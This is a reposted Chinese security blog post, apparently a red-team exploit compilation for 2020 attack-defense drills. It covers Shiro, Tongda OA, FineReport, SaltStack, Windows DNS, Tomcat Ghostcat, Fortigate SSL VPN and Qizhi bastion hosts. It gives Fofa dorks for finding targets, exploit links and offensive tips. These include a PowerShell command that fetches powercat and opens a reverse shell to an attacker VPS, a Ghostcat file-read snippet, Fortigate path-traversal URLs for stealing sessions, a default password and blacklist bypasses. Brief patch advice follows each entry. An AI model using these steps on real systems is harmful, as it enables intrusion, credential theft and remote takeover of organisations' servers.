转载自:乌云安全
Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)
1. 漏洞简介
Apache Shiro 是企业常见的Java安全框架, 其漏洞在2019年攻防演练中起到显著作用
2. 影响组件
Apache Shiro (由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响)
3. 漏洞指纹
set-Cookie:rememberMe=deleteMe或者URL中有shiro字样有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可
4. Fofa Dork
app="Apache-Shiro"
5. 漏洞分析
漏洞分析:Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞
https://paper.seebug.org/shiro-rememberme-1-2-4/
6. 漏洞利用
wyzxxz/shiro_rce:shiro rce反序列命令执行一键工具
https://github.com/wyzxxz/shiro_rce
Apache Shiro回显poc改造计划
https://mp.weixin.qq.com/s/-ODg9xL838wro2S_NK30bw
7. 利用技巧
1.使用多个泄露的key进行遍历, 这个在实战中确实有效
关于Shiro反序列化漏洞的延伸—升级shiro也能被shell
https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw
Shiro 100 Key
https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA
2.使用URLDNS进行检测提速
使用适应性最强的URLDNS(这个不受JDK版本和安全策略影响, 除非网络限制不能出DNS)进行检测且可以使用ysoserial提前生成序列化内容java-jartarget/ysoserial-0.0.5-SNAPSHOT-all.jarURLDNS "http://1234567890.test.ceye.io" > urldns.ser然后使用占位符+目标url hash的方法修改序列化内容中的urldns地址提高检测速度以及后续检测无需使用ysoserial
例如1234567890.test.ceye.io可以换成md5('www.qq.com').hexdigest() [:10].test.ceye.io也就是9d2c68d82d.test.ceye.io可以预先记录hash9d2c68d82d www.qq.com然后进行hash查表就可以知道是DNSLOG来自哪个目标,性能会提高不少
3.已知目标使用了Shiro,可以采取Shiro-721的报错逻辑来进行遍历key这样即使DNS不能出网,也可以通过是否返回rememberMe=deleteMe来断定shiro key的正确性, 前提是服务器有rememberMe=deleteMe相关回显
8. 防护方法
1.升级Shiro到最新版
2.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
3.WAF拦截Cookie中长度过大的rememberMe值
通达OA 远程代码执行漏洞
1. 漏洞简介
通达OA 在国内的用户也比较多, 虽说代码加了密, 奈何是Zend5.4, 解码很简单, 然后代码中的漏洞就很清楚, 尤其是变量覆盖和注入
2. 影响组件
通达OA
3. 漏洞指纹
"/images/tongda.ico">
Office Anywhere 20xx版网络智能办公系统
/ispirit/interface/gateway.php
4. Fofa Dork
app="通达OA"
5. 漏洞分析
note/readme.md at c28f7b232ad5f0ff7ccc672bbedcd34e9e3cca86 leezp/note
https://github.com/leezp/note/blob/c28f7b232ad5f0ff7ccc672bbedcd34e9e3cca86/20200313%E9%80%9A%E8%BE%BEOA/readme.md
代码审计 | 通达OA 任意用户登录漏洞(匿名RCE)分析 | zrools
https://www.zrools.org/2020/04/23/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-%E9%80%9A%E8%BE%BEOA-%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E%EF%BC%88%E5%8C%BF%E5%90%8DRCE%EF%BC%89%E5%88%86%E6%9E%90/
6. 漏洞利用
NS-Sp4ce/TongDaOA-Fake-User: 通达OA 任意用户登录漏洞
https://github.com/NS-Sp4ce/TongDaOA-Fake-User
tools/tongda_v11.4_rce_exp.py at master · zrools/tools 管理员伪造后sql写shell
https://github.com/zrools/tools/blob/master/python/tongda_v11.4_rce_exp.py
7. 利用技巧
1.这个漏洞也很简单, 发预警的当天就分析出来了,一个上传,一个包含, 主要是文件包含漏洞的/ispirit/interface/gateway.php文件在v11才有绕过disable_function也很简单, 直接调用COM('WScript.shell')组件就ok了
2.文件名结构规则如下
256@2003_ 2055499620|123. php.
对应文件名为
attach/im/2003/2055499620.123.php
因为是windows的,1.php.可以绕过黑名单,写到文件就成了1.php
3.2020年4月20号爆出任意用户伪造登录, 这里小伙伴测试 2017 和 v11 的 poc 好像可以用
通达OA前台任意用户伪造登录漏洞
https://vas.riskivy.com/vuln-detail?id=33
NS-Sp4ce/TongDaOA-Fake-User: 通达OA 任意用户登录漏洞
https://github.com/NS-Sp4ce/TongDaOA-Fake-User
8. 防护方法
1.及时更新补丁
2.使用waf拦截
致远OA 帆软报表 seeyonreport 远程代码执行
1. 漏洞简介
帆软报表 (seeyonreport) 很多时候会跟合致远OA一起出现, 通常用户还不知道, 所以这里有几个漏洞点
2. 影响组件
帆软报表 seeyonreport
3. 漏洞指纹
https://seeyoon.com/seeyonreport/ReportServer?op=fs_load&cmd=fs_signin&_=1560911828892
seeyonreport
4. Fofa Dork
app="用友-致远OA"
5. 漏洞分析
帆软报表v8.0 Getshell漏洞分析 | ADog’s Blog
http://foreversong.cn/archives/1378
6. 漏洞利用
帆软报表v8.0 Getshell漏洞分析 | ADog’s Blog
http://foreversong.cn/archives/1378
xray/finereport-directory-traversal.yml at master chaitin/xray
https://github.com/chaitin/xray/blob/master/pocs/finereport-directory-traversal.yml
7. 利用技巧
1.未设置密码或者读取读取管理员密码
https://seeyoon.com/seeyonreport/ReportServer?op=fs_load&cmd=fs_signin&_=1560911828892
这里很有可能是没有设置密码的, 修改密码进入后台就可以了
如果设置里密码, 尝试这个接口
/report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml,读取管理员密码, 然后使用上文的解密程序解密
2.后台getshell
这种后台能装插件的都随便getshell,先去下载一个指定版本的jar包,本地测试环境是9.0,下载com.fr.plugin.external-1.3.4.zip
https://shop.finereport.com/plugin/2d36b210-2a59-4940-8c4f-f3f16d58cd66
http://shopps.finereport.com/com.fr.plugin.external-1.3.4.zip?e=1561433162&token=GYG9vMioxqbEgx-5HoAMAelD0zGdUrXT4UZ3w-d1:N-PeIkhKkjCY7LHdqelnSvp_LmA=编译一个恶意的LocaleFinder.class打包进去,复制LocaleFinder.class到
\com.fr.plugin.external-1.3.4.zip\fr-plugin-external-1.3.4\fr-plugin-external-1.3.4.jar\com\fr\plugin\external\locale\进入到插件管理界面,上传符合规范的jar包插件即可没生效就访问一下https://xxxx/seeyonreport/ReportServer?op=im一般后台都是win,可以直接使用powershell进行反弹shellpowershell
IEX(New-Object System.Net.Webclient).
DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c vps_ip -p 6666 -e cmd
8. 防护方法
1.及时更新补丁
2.使用waf拦截
SaltStack认证绕过复现
1、漏洞概述
2、影响版本
l SaltStack < 2019.2.4
l SaltStack < 3000.2
3、环境搭建
直接使用vulhub进行搭建
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/saltstack/CVE-2020-11651/
docker-compose up -d
查看环境是否启动docker ps
4、漏洞复现
Poc:
https://github.com/jasperla/CVE-2020-11651-poc
执行前需要安装salt库,需指定salt库版本
pip3 install salt==2019.2.3
读取文件:
python3 exploit.py --master 192.168.232.170 -r /etc/passwd
5、修复方式
1、SaltStack官方已发布最新版本修复此漏洞,建议相关用户及时更新至安全版本及其以上,并开启SaltStack自动更新,以便实时获取补丁或升级至安全版本:https://repo.saltstack.com/
2、禁止将Salt Master默认监听端口(4505、4506)向公网开放,并设置为仅对可信对象开放。
Windows DNS Server蠕虫级远程代码执行漏洞
1、漏洞详情
2、影响版本
- Windows Server 2008 for 32-bit Systems Service Pack 2
- Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
- Windows Server 2008 for x64-based Systems Service Pack 2
- Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core inastallation)
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2012
- Windows Server 2012 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2016
- Windows Server 2016 (Server Core installation)
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server version 1909 (Server Core installation)
- Windows Server version 1903 (Server Core installation)
- Windows Server version 2004 (Server Core installation)
3、利用场景
(1)受害者访问攻击者域名"evil.server.io"
(2)本地DNS服务器或域内的DNS服务器无法解析"evil.server.io",向google DNS服务器(如8.8.8.8)查询
(3)查到后,发现该域名可以由攻击者DNS服务器解析,所以将该信息缓存到域服务器上
(4)第二次查询时,直接和攻击者DNS服务器进行查询
(5)此时攻击者服务器就可以构造响应包触发漏洞
EXP:CVE-2020-1350 (SIGRed) - Windows DNS DoS Exploit
https://github.com/maxpl0it/CVE-2020-1350-DoS
4、修复建议
微软提供了临时的缓解措施:
修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters值:TcpReceivePacketSize 数据类型 DWORD = 0xFF00
注意:必须重新启动 DNS 服务才能生效。
有关更多信息,请参阅 KB4569509:DNS 服务器漏洞 CVE-2020-1350 指南:
https://support.microsoft.com/zh-cn/help/4569509/windows-dns-server-remote-code-execution-vulnerability
若要移除此临时解决方法:
应用修补程序后,管理员可以移除值 TcpReceivePacketSize 及其数据,以使注册表项
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters 下的所有其他内容与之前保持相同。
手动升级方案:
通过如下链接自行寻找符合操作系统版本的漏洞补丁,并进行补丁下载安装。
CVE-2020-1350 | Windows DNS 服务器远程执行代码漏洞
https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-1350
Tomcat 本地文件包含漏洞 (CVE-2020-1938)
1. 漏洞简介
Tomcat 是常见的Web 容器, 用户量非常巨大, Tomcat 8009 ajp端口一直是默认开放的, 这个漏洞存在很多年了, 这次应该有奇效
2. 影响组件
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
3. Fofa Dork
protocol="ajp"
4. 漏洞分析
Apache Tomcat AJP协议文件包含漏洞分析–斗象能力中心
https://blog.riskivy.com/apache-tomcat-ajp%e5%8d%8f%e8%ae%ae%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/
5、漏洞利用
0nise/CVE-2020-1938: CVE-2020-1938
https://github.com/0nise/CVE-2020-1938
6. 利用技巧
1.当时还没公开poc的时候就分析出来exp挺有意思的, 效果确实还可以, 当天fofa都被累挂了
主要代码也就这t = Tomcat("127.0.0.1", 8009)
_, data = t.perform_request('/',
attributes=[{'name': 'req_attribute',
'value': ['javax.servlet.include.request_uri', '/']
},
{'name': 'req_attribute',
'value': ['javax.servlet.include.path_info',
"/WEB-INF/web.xml"]
},
{'name': 'req_attribute',
'value': ['javax.servlet.include.servlet_path',
'/']
},
])
print('----------------------------')
print("".join([bytes.decode(d.data) for d in data]))
2.通过修改这里的路径可以进行Webapp切换, 默认是ROOT/, 需要切换应用就改成/admin/
3.通常检测的时候,尽量保持t.perform_request('/',有的poc喜欢用/addsd这种的不存在的路径, 有些情况会读不到文件
8. 防护方法
1.升级到最新版
2.屏蔽8009端口对外开放
Fortigate SSL VPN 文件读取/远程代码执行
1. 漏洞简介
Fortigate SSL VPN 在全球用户量巨大, 去年橘子哥发现了文件读取和远程代码执行漏洞
2. 影响组件
Fortigate SSL VPN
3. 漏洞指纹
Fortigate
4tinet2095866
4. Fofa Dork
"Fortigate" && port=10443
5. 漏洞分析
Orange: Attacking SSL VPN – Part 2: Breaking the Fortigate SSL VPN
https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html?m=1
6. 漏洞利用
密码读取
milo2012/CVE-2018-13379: CVE-2018-13379
https://github.com/milo2012/CVE-2018-13379
任意密码重置, 这肯定是个后门
milo2012/CVE-2018-13382: CVE-2018-13382
https://github.com/milo2012/CVE-2018-13382
7. 利用技巧
1.文件读取的路径构造
https://xxxxxx:10443/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
如下padding可以构造出来任意文件读取, 可以读取其他文件, 注意这个系统好像没有/etc/passwd print("/../../../../"+(raw_input().rjust(35, '/')))
2.寻找魔术数字
虽然当时橘子哥没有公开魔术数字, 但是当时随手分析了一下下面这个启动文件, 搜索一下magic就找到 4tinet2095866,
https://xxxxxxxx:10443/remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd
后来发现这个字符串在js里面也有, 直接从前台分析也可以获得
https://xxxxx:10443/sslvpn/js/lgin.js?q=5f9a6877fd1f78da768239aae6e739c2
8. 防护方法
1.及时更新补丁
2.升级到最新版
齐治堡垒机相关漏洞
1. 漏洞简介
齐治堡垒机是国内使用比较多的堡垒机产品, 后端使用PHP编写
2. 影响组件
齐治堡垒机
3. 漏洞指纹
shterm
4. Fofa Dork
app="shterm-堡垒机"
5. 漏洞分析
审计某系统从解密到GetShell–云+社区–腾讯云
https://cloud.tencent.com/developer/article/1448700
齐治堡垒机远程命令执行漏洞(CNVD-2019-20835)分析–开发笔记
http://kfbiji.com/article/65b98114903248eb
6. 漏洞利用
齐治堡垒机远程命令执行漏洞(CNVD-2019-20835)分析–开发笔记
http://kfbiji.com/article/65b98114903248eb
7. 利用技巧
1.齐治堡垒机默认口令:shterm/shterm
2.普通用户获取堡垒机权限, 登录之后可尝试命令注入
如果有类似chrome的应用可以直接使用ctrl+o打开窗口, 然后新建bat, 起一个cmd或者其他的程序
8. 防护方法
1.及时更新补丁
2.升级到最新版
3.做好权限控制
-参考-
2020攻防演练弹药库
SaltStack认证绕过复现
CVE-2020-1350分析与复现【看雪论坛】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论